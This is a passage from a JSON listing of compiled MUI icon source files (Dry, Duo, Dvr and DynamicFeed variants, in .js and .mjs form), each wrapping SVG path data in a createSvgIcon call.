    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3L9.12 5zm14.65-7.82-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}), 'DrySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DrySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3L9.12 5zm14.65-7.82-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}), 'DrySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm5.65-16.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'DryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm5.65-16.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L15 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L19 2h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'DryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Duo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'Duo');"
  },
  {
    "path": "packages/mui-icons-material/lib/Duo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'Duo');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DuoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h-8C6.38 2 2 6.66 2 12.28 2 17.5 6.49 22 11.72 22 17.39 22 22 17.62 22 12V4c0-1.1-.9-2-2-2m-3 13-3-2v2H7V9h7v2l3-2z\"\n}), 'DuoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dvr.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'Dvr');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dvr.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'Dvr');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-2-9H9c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1m0 4H9c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1M7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-2-9H9c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1m0 4H9c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1s-.45-1-1-1M7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-2-9H8v2h11zm0 4H8v2h11zM7 8H5v2h2zm0 4H5v2h2z\"\n}), 'DvrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18V5H3zm5-9h11v2H8zm0 4h11v2H8zM5 8h2v2H5zm0 4h2v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12h11v2H8zm0-4h11v2H8zm13-5H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18zM5 12h2v2H5zm0-4h2v2H5z\"\n}, \"1\")], 'DvrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DvrTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18V5H3zm5-9h11v2H8zm0 4h11v2H8zM5 8h2v2H5zm0 4h2v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12h11v2H8zm0-4h11v2H8zm13-5H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 14H3V5h18zM5 12h2v2H5zm0-4h2v2H5z\"\n}, \"1\")], 'DvrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"1\")], 'DynamicFeed');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"1\")], 'DynamicFeed');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"1\")], 'DynamicFeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"1\")], 'DynamicFeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h8c.55 0 1-.45 1-1s-.45-1-1-1H8V9c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM3 12c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h8c.55 0 1-.45 1-1s-.45-1-1-1H4v-6c0-.55-.45-1-1-1\"\n}, \"1\")], 'DynamicFeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h8c.55 0 1-.45 1-1s-.45-1-1-1H8V9c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM3 12c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h8c.55 0 1-.45 1-1s-.45-1-1-1H4v-6c0-.55-.45-1-1-1\"\n}, \"1\")], 'DynamicFeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8H6v9h11v-2H8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H10v10h12zm-2 8h-8V7h8zM4 12H2v9h11v-2H4z\"\n}, \"1\")], 'DynamicFeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8H6v9h11v-2H8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H10v10h12zm-2 8h-8V7h8zM4 12H2v9h11v-2H4z\"\n}, \"1\")], 'DynamicFeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7h8v4h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"2\")], 'DynamicFeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicFeedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7h8v4h-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8H6v7c0 1.1.9 2 2 2h9v-2H8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-8c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8h-8V7h8zM4 12H2v7c0 1.1.9 2 2 2h9v-2H4z\"\n}, \"2\")], 'DynamicFeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DynamicForm.js",
